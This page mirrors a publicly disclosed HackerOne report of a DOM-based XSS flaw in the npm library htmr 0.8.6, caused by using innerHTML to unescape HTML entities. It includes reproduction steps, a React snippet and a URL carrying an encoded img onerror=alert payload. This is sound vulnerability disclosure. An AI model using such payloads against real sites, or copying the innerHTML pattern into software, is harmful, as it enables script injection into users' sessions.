Skip to content
XSS Disclosed report Beginner

[htmr] DOM-based XSS

visat Follow

Originally disclosed on HackerOne

Medium 6.5 View original
  • Fixed in 2 months
  • Disclosed after 3 months

Hi,

I would like to report DOM-based XSS in htmr. It allows attackers to insert malicious JavaScript payload into the page.

Module

module name: htmr version: 0.8.6 npm page: https://www.npmjs.com/package/htmr

Module Description

Simple and lightweight (< 2kB) HTML string to react element conversion library

Module Stats

[6,877] weekly downloads

Vulnerability

Vulnerability Description

This module uses innerHTML ref to unescape HTML entities. This leads to DOM-based XSS by inserting HTML-encoded XSS payload (see PoC).

Steps To Reproduce:

  1. Create a React app: create-react-app xss-htmr
  2. Install htmr module: cd xss-htmr; npm i htmr
  3. Edit src/App.js file to this:
import React from 'react';
import convert from 'htmr';

export default function App() {
  return convert(`<p>Hash: ${window.location.hash}</p>`);
}
  1. Run the server: npm run start
  2. Visit http://localhost:3000/#&lt;img/src/onerror=alert('xss')&gt;, an alert will popup.
Screen_Shot_2019-12-08_at_20.00.34.png
Screen_Shot_2019-12-08_at_20.00.34.png From the original on HackerOne

Supporting Material/References:

  • macOS Mojave 10.14.6
  • Node 12.13.1
  • NPM 6.12.1
  • Chrome 78.0.3904.108

Wrap up

  • I contacted the maintainer to let them know: [N]
  • I opened an issue in the related repository: [N]

Thank you and regards, Visat

Impact

DOM-based XSS

The original report as published on HackerOne, by visat. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is known

A medium-severity XSS bug in Other module, rated CVSS 6.5. HackerOne made it public on 15 March 2020.

About XSS

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by visat

View all

1 more disclosed report, best first.

More from Node.js third-party modules

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.